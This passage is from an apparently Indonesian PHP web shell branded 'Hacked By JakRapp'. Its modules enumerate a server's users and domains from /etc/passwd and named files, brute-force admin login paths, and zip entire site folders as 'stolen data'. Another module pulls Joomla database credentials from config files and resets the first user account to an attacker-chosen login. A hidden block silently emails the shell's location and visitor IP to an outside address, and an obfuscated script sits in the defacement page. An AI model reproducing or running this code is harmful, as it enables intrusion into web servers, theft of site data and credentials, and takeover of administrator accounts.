2485 }
2486 }
2487 echo "<center>Total Domains Found: ".$i."</center><br />";
2488 }else{
2489 echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>"; }
2490
2491break;
2492
2493##################################
2494error_reporting(0);
2495$etc = file_get_contents("/etc/passwd");
2496$etcz = explode("\n",$etc);
2497if(is_readable("/etc/passwd")){
2498
2499echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2500echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
2501
2502$list = scandir("/var/named");
2503
2504foreach($etcz as $etz){
2505$etcc = explode(":",$etz);
2506
2507foreach($list as $domain){
2508if(strpos($domain,".db")){
2509$domain = str_replace('.db','',$domain);
2510$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2511if($owner['name'] == $etcc[0])
2512{
2513$i += 1;
2514echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><center>
2515<td class='td1'><font color='red'>".$owner['name']."</font></center></td>
2516<td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2517}}}}
2518echo "<center>Total Domains Found: ".$i."</center><br />";}
2519
2520break;
2521###############################
2522if(is_readable("/etc/named.conf")){
2523echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2524echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
2525$named = file_get_contents("/etc/named.conf");
2526preg_match_all('%zone \"(.*)\" {%',$named,$domains);
2527foreach($domains[1] as $domain){
2528$domain = trim($domain);
2529$i += 1;
2530$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2531echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td><td class='td1'><center><font color='red'>".$owner['name']."</font></center></td><td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."'
2532target='_blank'>DIR</a></center></td>";
2533}
2534echo "<center>Total Domains Found: ".$i."</center><br />";
2535
2536} else { echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>"; }
2537
2538break;
2539############################
2540if(is_readable("/etc/valiases")){
2541echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2542echo'<tr><td><center><b>SITE</b></center></td><td>
2543<center><b>USER</b></center></td><td></center>
2544<b>SYMLINK</b></center></td>';
2545$list = scandir("/etc/valiases");
2546foreach($list as $domain){
2547$i += 1;
2548$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2549echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
2550<center><td class='td1'><font color='red'>".$owner['name']."</font></center></td>
2551<td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
2552}
2553echo "<center>Total Domains Found: ".$i."</center><br />";
2554} else { echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>"; }
2555
2556break;
2557}
2558?>
2559<?php
2560if (isset($_GET['jak']) && ($_GET['jak'] == 'finder')) {
2561?>
2562<form action="?&jak=finder" method="post">
2563<?php
2564set_time_limit(0);
2565error_reporting(0);
2566$list['front'] =
2567"
2568admin
2569adm
2570admincp
2571admcp
2572cp
2573modcp
2574moderatorcp
2575adminare
2576admins
2577cpanel
2578controlpanel";
2579$list['end'] = "
2580admin1.php
2581admin1.html
2582admin2.php
2583admin2.html
2584yonetim.php
2585yonetim.html
2586yonetici.php
2587yonetici.html
2588ccms/
2589ccms/login.php
2590ccms/index.php
2591maintenance/
2592webmaster/
2593adm/
2594configuration/
2595configure/
2596websvn/
2597admin/
2598admin/account.php
2599admin/account.html
2600admin/index.php
2601admin/index.html
2602admin/login.php
2603admin/login.html
2604admin/home.php
2605admin/controlpanel.html
2606admin/controlpanel.php
2607admin.php
2608admin.html
2609admin/cp.php
2610admin/cp.html
2611cp.php
2612cp.html
2613administrator/
2614administrator/index.html
2615administrator/index.php
2616administrator/login.html
2617administrator/login.php
2618administrator/account.html
2619administrator/account.php
2620administrator.php
2621administrator.html
2622login.php
2623login.html
2624modelsearch/login.php
2625moderator.php
2626moderator.html
2627moderator/login.php
2628moderator/login.html
2629moderator/admin.php
2630moderator/admin.html
2631moderator/
2632account.php
2633account.html
2634controlpanel/
2635controlpanel.php
2636controlpanel.html
2637admincontrol.php
2638admincontrol.html
2639adminpanel.php
2640adminpanel.html
2641admin1.asp
2642admin2.asp
2643yonetim.asp
2644yonetici.asp
2645admin/account.asp
2646admin/index.asp
2647admin/login.asp
2648admin/home.asp
2649admin/controlpanel.asp
2650admin.asp
2651admin/cp.asp
2652cp.asp
2653administrator/index.asp
2654administrator/login.asp
2655administrator/account.asp
2656administrator.asp
2657login.asp
2658modelsearch/login.asp
2659moderator.asp
2660moderator/login.asp
2661moderator/admin.asp
2662account.asp
2663controlpanel.asp
2664admincontrol.asp
2665adminpanel.asp
2666fileadmin/
2667fileadmin.php
2668fileadmin.asp
2669fileadmin.html
2670administration/
2671administration.php
2672administration.html
2673sysadmin.php
2674sysadmin.html
2675phpmyadmin/
2676myadmin/
2677sysadmin.asp
2678sysadmin/
2679ur-admin.asp
2680ur-admin.php
2681ur-admin.html
2682ur-admin/
2683Server.php
2684Server.html
2685Server.asp
2686Server/
2687wp-admin/
2688administr8.php
2689administr8.html
2690administr8/
2691administr8.asp
2692webadmin/
2693webadmin.php
2694webadmin.asp
2695webadmin.html
2696administratie/
2697admins/
2698admins.php
2699admins.asp
2700admins.html
2701administrivia/
2702Database_Administration/
2703WebAdmin/
2704useradmin/
2705sysadmins/
2706admin1/
2707system-administration/
2708administrators/
2709pgadmin/
2710directadmin/
2711staradmin/
2712ServerAdministrator/
2713SysAdmin/
2714administer/
2715LiveUser_Admin/
2716sys-admin/
2717typo3/
2718panel/
2719cpanel/
2720cPanel/
2721cpanel_file/
2722platz_login/
2723rcLogin/
2724blogindex/
2725formslogin/
2726autologin/
2727support_login/
2728meta_login/
2729manuallogin/
2730simpleLogin/
2731loginflat/
2732utility_login/
2733showlogin/
2734memlogin/
2735members/
2736login-redirect/
2737sub-login/
2738wp-login/
2739login1/
2740dir-login/
2741login_db/
2742xlogin/
2743smblogin/
2744customer_login/
2745UserLogin/
2746login-us/
2747acct_login/
2748admin_area/
2749bigadmin/
2750project-admins/
2751phppgadmin/
2752pureadmin/
2753sql-admin/
2754radmind/
2755openvpnadmin/
2756wizmysqladmin/
2757vadmind/
2758ezsqliteadmin/
2759hpwebjetadmin/
2760newsadmin/
2761adminpro/
2762Lotus_Domino_Admin/
2763bbadmin/
2764vmailadmin/
2765Indy_admin/
2766ccp14admin/
2767irc-macadmin/
2768banneradmin/
2769sshadmin/
2770phpldapadmin/
2771macadmin/
2772administratoraccounts/
2773admin4_account/
2774admin4_colon/
2775radmind-1/
2776Super-Admin/
2777AdminTools/
2778cmsadmin/
2779SysAdmin2/
2780globes_admin/
2781cadmins/
2782phpSQLiteAdmin/
2783navSiteAdmin/
2784server_admin_small/
2785logo_sysadmin/
2786server/
2787database_administration/
2788power_user/
2789system_administration/
2790ss_vms_admin_sm/
2791adminarea/
2792bb-admin/
2793adminLogin/
2794panel-administracion/
2795instadmin/
2796memberadmin/
2797administratorlogin/
2798admin/admin.php
2799admin_area/admin.php
2800admin_area/login.php
2801siteadmin/login.php
2802siteadmin/index.php
2803siteadmin/login.html
2804admin/admin.html
2805admin_area/index.php
2806bb-admin/index.php
2807bb-admin/login.php
2808bb-admin/admin.php
2809admin_area/login.html
2810admin_area/index.html
2811admincp/index.asp
2812admincp/login.asp
2813admincp/index.html
2814webadmin/index.html
2815webadmin/admin.html
2816webadmin/login.html
2817admin/admin_login.html
2818admin_login.html
2819panel-administracion/login.html
2820nsw/admin/login.php
2821webadmin/login.php
2822admin/admin_login.php
2823admin_login.php
2824admin_area/admin.html
2825pages/admin/admin-login.php
2826admin/admin-login.php
2827admin-login.php
2828bb-admin/index.html
2829bb-admin/login.html
2830bb-admin/admin.html
2831admin/home.html
2832pages/admin/admin-login.html
2833admin/admin-login.html
2834admin-login.html
2835admin/adminLogin.html
2836adminLogin.html
2837home.html
2838rcjakar/admin/login.php
2839adminarea/index.html
2840adminarea/admin.html
2841webadmin/index.php
2842webadmin/admin.php
2843user.html
2844modelsearch/login.html
2845adminarea/login.html
2846panel-administracion/index.html
2847panel-administracion/admin.html
2848modelsearch/index.html
2849modelsearch/admin.html
2850admincontrol/login.html
2851adm/index.html
2852adm.html
2853user.php
2854panel-administracion/login.php
2855wp-login.php
2856adminLogin.php
2857admin/adminLogin.php
2858home.php
2859adminarea/index.php
2860adminarea/admin.php
2861adminarea/login.php
2862panel-administracion/index.php
2863panel-administracion/admin.php
2864modelsearch/index.php
2865modelsearch/admin.php
2866admincontrol/login.php
2867adm/admloginuser.php
2868admloginuser.php
2869admin2/login.php
2870admin2/index.php
2871adm/index.php
2872adm.php
2873affiliate.php
2874adm_auth.php
2875memberadmin.php
2876administratorlogin.php
2877admin/admin.asp
2878admin_area/admin.asp
2879admin_area/login.asp
2880admin_area/index.asp
2881bb-admin/index.asp
2882bb-admin/login.asp
2883bb-admin/admin.asp
2884pages/admin/admin-login.asp
2885admin/admin-login.asp
2886admin-login.asp
2887user.asp
2888webadmin/index.asp
2889webadmin/admin.asp
2890webadmin/login.asp
2891admin/admin_login.asp
2892admin_login.asp
2893panel-administracion/login.asp
2894adminLogin.asp
2895admin/adminLogin.asp
2896home.asp
2897adminarea/index.asp
2898adminarea/admin.asp
2899adminarea/login.asp
2900panel-administracion/index.asp
2901panel-administracion/admin.asp
2902modelsearch/index.asp
2903modelsearch/admin.asp
2904admincontrol/login.asp
2905adm/admloginuser.asp
2906admloginuser.asp
2907admin2/login.asp
2908admin2/index.asp
2909adm/index.asp
2910adm.asp
2911affiliate.asp
2912adm_auth.asp
2913memberadmin.asp
2914administratorlogin.asp
2915siteadmin/login.asp
2916siteadmin/index.asp
2917ADMIN/
2918paneldecontrol/
2919login/
2920cms/
2921admon/
2922ADMON/
2923administrador/
2924ADMIN/login.php
2925panelc/
2926ADMIN/login.html";
2927function template() {
2928echo '
2929
2930<script type="text/javascript">
2931<!--
2932function insertcode($text, $place, $replace)
2933{
2934 var $this = $text;
2935 var logbox = document.getElementById($place);
2936 if($replace == 0)
2937 document.getElementById($place).innerHTML = logbox.innerHTML+$this;
2938 else
2939 document.getElementById($place).innerHTML = $this;
2940//document.getElementById("helpbox").innerHTML = $this;
2941}
2942-->
2943</script>
2944<br>
2945<br>
2946<h1 class="technique-two">
2947
2948
2949
2950</h1>
2951
2952<div class="wrapper">
2953<div class="red">
2954<div class="tube">
2955<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
2956<form action="" method="post" name="xploit_form">
2957
2958<tr>
2959<tr>
2960 <b><td>URL</td>
2961 <td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
2962 </td>
2963</tr><tr>
2964 <td>404 string</td>
2965 <td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
2966 </td></b>
2967</tr><br><td>
2968<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
2969</span></td></tr>
2970</form></td></tr>
2971<br /></table>
2972</div> <!-- /tube -->
2973</div> <!-- /red -->
2974<br />
2975<div class="green">
2976<div class="tube" id="rightcol">
2977Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
2978<b>Found ones:<br /></b>
2979</div> <!-- /tube -->
2980</div></center><!-- /green -->
2981<br clear="all" /><br />
2982<div class="blue">
2983<div class="tube" id="logbox">
2984<br />
2985<br />
2986Admin page Finder :<br /><br />
2987</div> <!-- /tube -->
2988</div> <!-- /blue -->
2989</div> <!-- /wrapper -->
2990<br clear="all"><br>';
2991}
2992function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
2993 if($br == 1) $msg .= "<br />";
2994 echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
2995 if($stop == 1) exit;
2996 @flush();@ob_flush();
2997}
2998function check($x, $front=0) {
2999 global $_POST,$site,$false;
3000 if($front == 0) $t = $site.$x;
3001 else $t = 'http://'.$x.'.'.$site.'/';
3002 $headers = get_headers($t);
3003 if (!eregi('200', $headers[0])) return 0;
3004 $data = @file_get_contents($t);
3005 if($_POST['xploit_404string'] == "") if($data == $false) return 0;
3006 if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
3007 return 1;
3008}
3009
3010// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
3011template();
3012if(!isset($_POST['xploit_url'])) die;
3013if($_POST['xploit_url'] == '') die;
3014$site = $_POST['xploit_url'];
3015if ($site[strlen($site)-1] != "/") $site .= "/";
3016if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
3017$list['end'] = str_replace("\r", "", $list['end']);
3018$list['front'] = str_replace("\r", "", $list['front']);
3019$pathes = explode("\n", $list['end']);
3020$frontpathes = explode("\n", $list['front']);
3021show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
3022$verificate = 0;
3023foreach($pathes as $path) {
3024 show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
3025 $verificate++; show($verificate, 0, 0, 'verified', 1);
3026 if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
3027 else{
3028 show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
3029 show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
3030 }
3031}
3032preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
3033if(substr($site, 0, 3) == "www") $site = substr($site, 4);
3034foreach($frontpathes as $frontpath) {
3035 show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
3036 $verificate++; show($verificate, 0, 0, 'verified', 1);
3037 if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
3038 else{
3039 show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
3040 show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
3041 }
3042
3043}
3044}
3045?>
3046<?php
3047if(isset($_GET['x']) && ($_GET['x'] == 'maling')){ ?>
3048<form action="?y=<?php echo $pwd; ?>&x=maling" method="post">
3049<form method="post" action="" enctype="multipart/form-data">
3050<input type=text name=sites size=40></nobr><br>
3051<input type="submit" name="go" value="Colong!" style="margin: 5px auto; hight: 25px; width: 100px;">
3052</form>
3053<?php
3054$site = explode("\r\n", $_POST['sites']);
3055$go = $_POST['go'];
3056if($go) {
3057foreach($site as $sites) {
3058@session_start();
3059@error_reporting(0);
3060@ini_set('error_log',NULL);
3061@ini_set('log_errors',0);
3062@ini_set('max_execution_time',0);
3063@ini_set('display_errors', 0);
3064@set_time_limit(0);
3065$folder="$sites";
3066$output="hasil-maling.zip";
3067$zip = new ZipArchive();
3068
3069if ($zip->open($output, ZIPARCHIVE::CREATE) !== TRUE) {
3070 die ("Unable to open Archirve");
3071}
3072
3073$all= new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
3074
3075foreach ($all as $f=>$value) {
3076 $zip->addFile(realpath($f), $f) or die ("ERROR: Unable to add file: $f");
3077}
3078$zip->close();
3079echo "Selamat Anda Berhasil Mencuri Data Website ";
3080}
3081}
3082}
3083?>
3084<?php
3085@ini_set('output_buffering', 0);
3086@ini_set('display_errors', 0);
3087set_time_limit(0);
3088ini_set('memory_limit', '64M');
3089header('Content-Type: text/html; charset=UTF-8');
3090$tujuanmail = 'kefiex403@gmail.com';
3091$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
3092$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
3093mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
3094?>
3095<?php
3096if(isset($_GET['x']) && ($_GET['x'] == 'about'))
3097 {
3098 ?>
3099 <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
3100<html>
3101<head>
3102<!-- SEO Meta Tag -->
3103<meta content='Hacked By JakRapp' name='description'/>
3104<meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
3105<meta content='index,follow' name='robots'/>
3106<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
3107<meta content='website' name='generator'/>
3108<meta content='general' name='rating'/>
3109<!-- SEO Title Tag -->
3110<title>Hacked By JakRapp</title>
3111<link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
3112<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
3113<meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'/>
3114<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
3115<meta content='Hacked By JakRapp' name='description'/>
3116<script src='http://code.jquery.com/jquery-latest.min.js'></script>
3117
3118<style>
3119body{
3120font-family: 'courier new';
3121font-size:80%;
3122color: #28FE14;
3123background: url('http://2.bp.blogspot.com/-LPgZM8E1nKE/VA_RSPtWNvI/AAAAAAAAAu4/Dzs4tTNniFw/s1600/1w2w3.png') center fixed;
3124background-size: cover;
3125-webkit-background-size: cover;
3126-moz-background-size: cover;
3127-o-background-size: cover;
3128}
3129}
3130
3131.xBody{
3132width:660px;
3133height:450px;
3134position:absolute;
3135z-index: 9;
3136}
3137.ssh{
3138display:none;
3139z-index: 9;
3140}
3141.sshBox{
3142height:300px;
3143border: 4px solid white;
3144 -moz-border-radius: 4px;
3145 -webkit-border-radius: 4px;
3146 -o-border-radius: 4x;
3147 -khtml-border-radius: 4px;
3148 border-radius: 4px;
3149 z-index: 9;
3150}
3151.sshHead{
3152margin-bottom: 5px;
3153color:black;
3154font-weight: bold;
3155background-color: white;
3156height:20px;
3157z-index: 9;
3158
3159}
3160
3161.greenBox{
3162padding-left: 3px;
3163position: absolute;
3164height:22px;
3165border: 1px solid #28FE14;
3166z-index: 9;
3167}
3168.picz{
3169position: absolute;
3170width:500px;
3171height:80%;
3172display:none;
3173right:2px;
3174top:2px;
3175}
3176#mg img:hover {
3177-webkit-animation:tremer 0.5s linear infinite;
3178-moz-animation:tremer 0.5s linear infinite;
3179-o-animation:tremer 0.5s linear infinite;
3180animation:tremer 0.5s linear infinite;
3181}
3182.neon{<!--coleur lootz-->
3183color:blue;
3184text-shadow: 0 0 5px red,0 0 10px red, 0 0 30px orange, 0 0 45px yellow, 0 0 60px red;
3185}
3186.like{border:4px double yellow;
3187box-shadow:0px 2px 20px white;
3188border-radius:10px;
3189padding:9px;
3190height:310px;}
3191#mg img{border:4px double yellow;
3192
3193border-radius:10px;
3194opacity:0.75;
3195-moz-opacity: 0.75;
3196filter: alpha(opacity=75);
3197}
3198</style>
3199</head>
3200<body onselectstart='return false' ondragstart='return false' oncontextmenu='return false' onLoad='writetext()'>
3201<Script Language='Javascript'>
3202<!-- Lol Many scripts -->
3203<!--
3204document.write(unescape('%3C%53%63%72%69%70%74%20%4C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%73%63%72%69%70%74%27%3E%0A%3C%21%2D%2D%20%48%54%4D%4C%20%45%6E%63%72%79%70%74%69%6F%6E%20%62%79%20%4D%61%72%6B%65%74%61%63%74%69%63%6F%2E%63%6F%6D%20%2D%2D%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%34%43%25%36%31%25%36%45%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%33%44%25%32%37%25%34%41%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%37%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%32%30%25%34%38%25%35%34%25%34%44%25%34%43%25%32%30%25%34%35%25%36%45%25%36%33%25%37%32%25%37%39%25%37%30%25%37%34%25%36%39%25%36%46%25%36%45%25%32%30%25%36%32%25%37%39%25%32%30%25%34%44%25%36%31%25%37%32%25%36%42%25%36%35%25%37%34%25%36%31%25%36%33%25%37%34%25%36%39%25%36%33%25%36%46%25%32%45%25%36%33%25%36%46%25%36%44%25%32%30%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%30%41%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%32%45%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%37%35%25%36%45%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%34%33%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%33%34%25%32%35%25%33%37%25%33%39%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%34%35%25%32%35%25%33%36%25%34%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%39%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%34%36%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%34%35%25%32%35%25%33%33%25%34%34%25%32%35%25%33%32%25%33%32%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%34%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%30%25%34%31%25%32%37%25%32%39%25%32%39%25%33%42%25%30%41%25%32%46%25%32%46%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%46%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%27%29%29%3B%0A%2F%2F%2D%2D%3E%0A%3C%2F%53%63%72%69%70%74%3E'));
3205//-->
3206</Script>
3207<p>
3208<p>
3209<br>
3210<b><font color='blue' face='consolas' size='4'>
3211<p align='center' class='style2'><font face='Trajan Pro' size='10' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='yellow'>Hacked By JakRapp</font><p>
3212<font color='blue' face='consolas' size='4'>
3213<p align='center' class='style2'><font face='Trajan Pro' size='4' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b>./Jaka_Attacker ~ UstadzJaka ~ ./Zonkk ~ Jack D'Ripper ~ ./KLEMEZ<p></font>
3214<font color='blue' face='consolas' size='4'>
3215<center><p align='center' class='style2'><font face='Trajan Pro' size='4' color='RED' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='WHITE'>
3216-=[[ Pasukan Berani Mati REBORN ]]=-<P>-=| GRETZ IDBTE4M | GOENK TEA | ./HDV | ADRIAN XDA | DIDOT | POETRA D`M | JACK D`RIPPER | DAY IDBTE4M | DIMAZ BN |=- <P>
3217-=| DEMONK | KHUNAY | MR-AQ | HENDRA D`N | PETAPA GENIT | KODRAT | MUZZAM | MAULANA | SIRIN |=-
3218</font><p></center>
3219<center><table width='100%' border='2'><tr><td width='10%' align='center'><blink><font Class-'glow' color='white'><code>My Friends : </code></font></blink></td><td width='90%'><font color='yellow' size='4'><marquee><code> Kefiex404 ~ FadliDotID_007 ~ ./elro-BN404 ~ k3c0t ~ RT05 ~ 4Z1S ~ Mr.Optimuz_r00t ~ Anzhi72 ~ NyengatGetar ~ CaFc_Br40ck ~ Hmei7 ~ ./S3mR4k4T ~ Mr.AchanX48 ~ ./Na-z ~ ./Ghost-Priox ~ Mr.Hari ~ 1n51d3r ~ M0NST3R-P1NK ~ LDera ~ nemat0da ~ b0L4ng ~ HYTHAN7 ~ M0NST3R-P1NK ~ AldiDotPhp ~ USTADCAGE_48</code></marquee></font></td></tr></table><html><center>
3220
3221<embed src='http://www.youtube.com/v/oWqWNMNFZlU&autoplay=1' type='application/x-shockwave-flash' wmode='transparent' width='1' height='1'></embed>
3222</body>
3223</html>
3224
3225<?php
3226}
3227//////////////////////////////////////////////////////////////////////////////
3228
3229?>
3230
3231<?php
3232if (isset($_GET['jak']) && ($_GET['jak'] == 'jomla')) {
3233?>
3234<form action="?&jak=jomla" method="post">
3235<?php
3236error_reporting(0);
3237 if($_POST){
3238
3239 function jipukteks($param, $kata1, $kata2){
3240 if(strpos($param, $kata1) === FALSE) return FALSE;
3241 if(strpos($param, $kata2) === FALSE) return FALSE;
3242 $start = strpos($param, $kata1) + strlen($kata1);
3243 $end = strpos($param, $kata2, $start);
3244 $return = substr($param, $start, $end - $start);
3245 return $return;
3246}
3247
3248 function anucurl($sites){
3249 $ch1 = curl_init ("$sites");
3250curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
3251curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
3252curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3253curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
3254curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
3255curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
3256curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
3257curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
3258$data = curl_exec ($ch1);
3259return $data;
3260 }
3261
3262function lohgin($fak1,$fak2,$fak3,$fak4,$fak5){
3263 $post2 = array(
3264 "username" => "$fak1",
3265 "passwd" => "$fak2",
3266 "lang" => "en-GB",
3267 "option" => "com_login",
3268 "task" => "login",
3269 "return" => "$fak3",
3270 "$fak4" => "1",
3271
3272 );
3273$ch = curl_init ("$cek");
3274curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
3275curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
3276curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3277curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
3278curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
3279curl_setopt ($ch, CURLOPT_POST, 1);
3280curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
3281curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
3282curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
3283$data6 = curl_exec ($ch);
3284return $data6;
3285 }
3286
3287 $link = $_POST['link'];
3288 if($link==""){
3289 echo "Report: <br>";
3290 echo "-> Link Config anda belum terisi <-";
3291 }
3292 else{
3293
3294 $file = anucurl($link);
3295
3296 $host = jipukteks($file,"smtphost = '","'");
3297 $username = jipukteks($file,"user = '","'");
3298 $password = jipukteks($file,"password = '","'");
3299 $db = jipukteks($file,"db = '","'");
3300 $dbprefix = jipukteks($file,"dbprefix = '","'");
3301 $user_baru = "admin";
3302 $password_baru = "kefiex";
3303 $prefix = $dbprefix."users";
3304 $pass = md5("$password_baru");
3305 $serah = $db.".".$dbprefix;
3306
3307
3308 echo "<font color='#C6C646'>Database Content :</font><br>";
3309 echo "Db Host          : <font color='green'>$host</font><br>";
3310 echo "Db user           : <font color='green'>$username</font><br>";
3311 echo "Db Password  : <font color='green'>$password</font><br>";
3312 echo "Db name         : <font color='green'>$db</font><br>";
3313 echo "Table_Prefix   : <font color='green'>$dbprefix</font><br>";
3314
3315 mysql_connect($host,$username,$password) or die("<br><font color='red'>Gagal Terkoneksi Ke Database ...</font>");
3316 mysql_select_db($db) or die("<font color='red'>Database tidak bisa dibuka ...</font>");
3317
3318 $show=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
3319 $r=mysql_fetch_array($show);
3320 $id = $r[id];
3321
3322 mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
3323$utama = "$link";
3324$kedua = @file_get_contents($utama);
3325if(preg_match("askdasldasdlja12123",$kedua)){
3326 echo "# <font color='green'>berhasil rubah password</font><br>";
3327 echo "# $utama<br>";
3328
3329 }
3330 else{
3331 echo "<br># <font color='green'>Pasword berhasil dirubah: </font><br>";
3332 echo "Username: <font color='#C6C646'>$user_baru</font><br>";
3333 echo "Password: <font color='#C6C646'>$password_baru</font><br>";
3334
3335
3336 }
3337 }
3338
3339
3340
3341
3342 }else{
3343 echo '<html>
3344 <body>
3345 <center>
3346 <center><br><span style="font-size:1.6em;"> .: Joomla Password Reset | Tools :. </span><br>Coded by Bl4ckcod37</center><br>
3347 <table>
3348 <tr><td><form method="post"></td></tr>
3349 <tr><td><input class="inputz" size=50 type="text" name="link" placeholder="masukkan link config disini"></td></tr>
3350
3351 <tr><td>                                                 <input
3352class="inputz" type="submit" value="Reset"></td></tr>
3353 </form>
3354 </table>
3355
3356 </center>
3357
